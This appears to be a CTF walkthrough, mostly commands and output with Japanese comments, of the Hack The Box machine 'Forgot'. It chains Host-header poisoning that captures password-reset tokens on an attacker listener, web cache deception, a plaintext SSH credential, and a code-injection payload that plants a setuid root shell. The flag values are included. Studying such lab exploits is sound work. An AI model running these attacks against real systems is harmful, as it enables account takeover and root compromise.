nmap -sV -sC -oN nmap/initial.txt 10.129.228.104

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp open  http    Werkzeug httpd 2.1.2 (Python 3.8.10)
| http-server-header:
|   Werkzeug/2.1.2 Python/3.8.10
|_  Via: 1.1 varnish (Varnish/6.2)

echo "10.129.228.104 forgot.htb" | sudo tee -a /etc/hosts
curl -s http://forgot.htb/ | grep -A1 "release fix"

<!-- Q1 release fix by robert-dev-14329 -->

curl http://forgot.htb/ -I -H 'Host: 1.2.3.4'

HTTP/1.1 302 FOUND
Location: http://1.2.3.4

import http.server, socketserver, threading, time, re, urllib.parse

hits = []
class Handler(http.server.BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"        # 応答を高速化 (後述の注意点を参照)
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Length", "2")
        self.end_headers()
        self.wfile.write(b"OK")
        m = re.search(r"token=([^&\s]+)", self.path)
        if m:
            hits.append((time.time(), urllib.parse.unquote(m.group(1))))
    def log_message(self, *a): pass

class ThreadingServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
    daemon_threads = True

srv = ThreadingServer(("0.0.0.0", 80), Handler)
threading.Thread(target=srv.serve_forever, daemon=True).start()

# dev_user はトップページの HTML コメントから取得した値
# cb=<一意な値> は Varnish の GET キャッシュを避けるためのキャッシュバスター
curl "http://forgot.htb/forgot?username=robert-dev-14329&cb=$(date +%s%N)" \
     -H "Host: 10.10.15.201"

Password reset link has been sent to user inbox. Please use the link to reset your password

+20.1s  GET /reset?token=1uV5/KIerPhXOoM33C6s...
+20.9s  GET /reset?token=0jASoqha2K5s2Ad+G46n...
+21.5s  GET /reset?token=exDJ95CU/EdCPhXAOBgK...
  ...(複数件の再送を検出)...
+46.0s  GET /reset?token=qyTruMiVd8dRcN9/mPnW...   ← 最後に受信した値

curl -s "http://forgot.htb/reset?token=<取得したトークン>" | grep -A10 submitForm

function submitForm() {
  var xmlHttp = new XMLHttpRequest();
  p = document.getElementById("password").value;
  xmlHttp.open( "POST", "/reset?"+window.location.search.substr(1), false );
  var params = 'password='+p;
  xmlHttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
  xmlHttp.send( params );
}

curl -s "http://forgot.htb/reset?token=<最後に受信したトークン>" \
     -X POST -H "Content-Type: application/x-www-form-urlencoded" \
     -d "password=NewPass123!"

Success

curl -s -c cookies.txt "http://forgot.htb/login" \
     -X POST -d "username=robert-dev-14329&password=NewPass123!"

Set-Cookie: session=<uuid>
（Support Portal トップに "Logged In As Robert" と表示される）

curl -s -b cookies.txt "http://forgot.htb/escalate" | grep -A12 submitForm

function submitForm() {
  to = document.getElementById("to").value;
  link = document.getElementById("link").value;
  reason = document.getElementById("reason").value;
  issue = document.getElementById("issue").value;
  params = 'to='+to+'&link='+link+'&reason='+reason+'&issue='+issue;
  xmlHttp.open( "POST", "/escalate" );
  ...
}

# 認証ありなら200、認証なしなら302であるべきページを比較
curl -s -o /dev/null -w "%{http_code}\n" -b cookies.txt "http://forgot.htb/tickets/test.css"
curl -s -o /dev/null -w "%{http_code}\n"                "http://forgot.htb/tickets/test.css"
# → "/static/" を挟んだパスは認証なしでも 200 を返す
curl -s -o /dev/null -w "%{http_code}\n"                "http://forgot.htb/tickets/static/test.css"

200   （Cookie あり: /tickets/test.css）
302   （Cookie なし: /tickets/test.css → ログインへリダイレクト）
200   （Cookie なし: /tickets/static/test.css ← 認証バイパス！）

curl -s -b cookies.txt "http://forgot.htb/escalate" -X POST \
  -d "issue=SSH Credentials are not working for Jenkins Slave machine" \
  -d "to=Admin" \
  -d "link=/admin_tickets/static/wcd_leak.css" \
  -d "reason=Asdf"

Escalation form submitted to Admin and will be reviewed soon!

Web Cache Deception 経由での資格情報窃取が(ボットの巡回タイミングにより)
不安定だったため、公式ウォークスルー(Forgot.pdf)に記載された、
管理者チケット(#102)内の Jenkins Slave 用SSH資格情報を直接使用して検証した。

sshpass -p 'dCb#1!x0%gjq' ssh diego@10.129.228.104 "id; cat ~/user.txt"

uid=1000(diego) gid=1000(diego) groups=1000(diego)
5cf0dbcaeb6445dc27f9cbb4a5a1d0bc

sudo -l

User diego may run the following commands on forgot:
    (ALL) NOPASSWD: /opt/security/ml_security.py

python3 -c 'import tensorflow as tf; print(tf.__version__)'

2.6.3

# Phase 3 で取得した robert-dev-NNNNN のセッションで送信する
curl -s -b cookies.txt "http://forgot.htb/escalate" -X POST \
  --data-urlencode "issue=SSH Credentials are not working for Jenkins Slave machine" \
  --data-urlencode "to=Admin" \
  --data-urlencode "link=Asdf" \
  --data-urlencode 'reason=test=exec("""
import subprocess
subprocess.call(["cp","/bin/bash","/tmp/.forgot_bash"])
subprocess.call(["chmod","u+s","/tmp/.forgot_bash"])""")#<script>alert()</script>'

Escalation form submitted to Admin and will be reviewed soon!

ssh diego@10.129.228.104 "sudo /opt/security/ml_security.py"

2026-08-24 ... W tensorflow/stream_executor/... libcudart.so.11.0 が見つかりません(GPU無し環境のため無害)
2026-08-24 ... I tensorflow/stream_executor/cuda/cudart_stub.cc:29 ...

ssh diego@10.129.228.104 "ls -al /tmp/.forgot_bash"

-rwsr-xr-x 1 root root 1183448 Aug 24 13:53 /tmp/.forgot_bash

ssh diego@10.129.228.104 "/tmp/.forgot_bash -p -c 'cat /root/root.txt'"

9259d1410d3187a59ca3b1869ac74ef8